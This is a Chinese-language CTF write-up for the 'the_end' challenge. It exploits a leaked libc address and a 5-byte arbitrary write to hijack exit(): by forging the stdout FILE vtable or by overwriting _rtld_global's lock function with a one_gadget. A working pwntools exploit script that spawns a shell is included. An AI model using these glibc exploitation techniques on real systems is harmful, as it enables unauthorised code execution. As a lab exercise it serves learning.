1.常规checksec,除了canary之外保护全开。IDA打开找漏洞,没什么漏洞,就是程序会泄露出sleep的地址,然后让我们在任意地方写入5个字节,并且给了libc文件,那么就可以算出libc基地址,版本为2.23。
printf(“here is a gift %p, good luck ;)\n”, &sleep);
2.程序最后调用exit(1337),两种方法:
(1)exit会无条件通过_IO_2_1_stdout_结构体调用vtable虚表中的_setbuf函数。
(2)exit会通过_IO_2_1_stdout_结构体调用vtable虚表中的_overflow函数,但需要满足以下条件:
1 2 3 4
| #注释头
_IO_FILE_plus._mode <= 0 _IO_FILE_plus._IO_write_ptr > _IO_FILE_plus._IO_write_base
|
所以我们伪造的_IO_FILE_plus结构体就需要满足上述条件
(3)exit会调用_rtld_global结构体中的_dl_rtld_lock_recursive函数,不用满足条件。
3.三种方法攻击思路:
(1)由于会调用_setbuf函数,vtable位于libc数据段上不可写部分,无法直接修改vtable对应的_IO_file_jumps中的函数指针。那么可以伪造_IO_2_1_stdout_中的vtable指针,利用2字节修改vtable指针的倒数两个字节,使其指向一个可读可写内存,形成一个fake_IO_file_jumps,然后在该内存对应_setbuf函数偏移处伪造one_gadget地址。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| from pwn import * libc=ELF("/lib/x86_64-linux-gnu/libc-2.23.so") p = process('./the_end')
vtable_offset = 0xd8 _setbuf_offset = 0x58 fake_vtable_offset = 0x3c5588 #这个需要自己调试找,并保证偏移_setbuf_offset处修改之后程序不会直接崩溃
sleep_addr = p.recvuntil(', good luck',drop=True).split(' ')[-1] libc_base = long(sleep_addr,16) - libc.symbols['sleep']
one_gadget = libc_base + 0xf02b0 _IO_2_1_stdout_vtable_addr = libc_base + libc.sym['_IO_2_1_stdout_'] + vtable_offset
fake_vtable = libc_base + fake_vtable_offset fake_vtable_setbuf_addr = libc_base + fake_vtable_offset + _setbuf_offset
print 'libc_base: ',hex(libc_base) print 'one_gadget:',hex(one_gadget)
for i in range(2): p.send(p64(_IO_2_1_stdout_vtable_addr+i)) p.send(p64(fake_vtable)[i])
for i in range(3): p.send(p64(fake_vtable_setbuf_addr+i)) p.send(p64(one_gadget)[i])
p.sendline("exec /bin/sh 1>&0")
p.interactive()
|
(2)_IO_FILE_plus结构体位于libc数据段上可读可写内存处,可以直接修改,但是修改字节数只有5个,按照第一种方法:
1 2 3 4
| #注释头
_IO_FILE_plus._mode <= 0 //该条件自动就会满足 _IO_FILE_plus._IO_write_ptr > _IO_FILE_plus._IO_write_base//该条件需要设置1个字节
|
再利用1个字节修改vtable的倒数第二个字节,伪造vtable指针,然后利用3个字节在该内存对应_setbuf函数偏移处伪造one_gadget地址。
(3)_rtld_global结构体位于libc数据段上可读可写内存处,可以直接修改。那么直接修改_dl_rtld_lock_recursive函数指针指向one_gadget就行了。
方法(2)和方法(3)参考:
https://blog.csdn.net/Mira_Hu/article/details/103736917
参考资料:
https://wiki.x10sec.org/pwn/linux/io_file/fake-vtable-exploit-zh/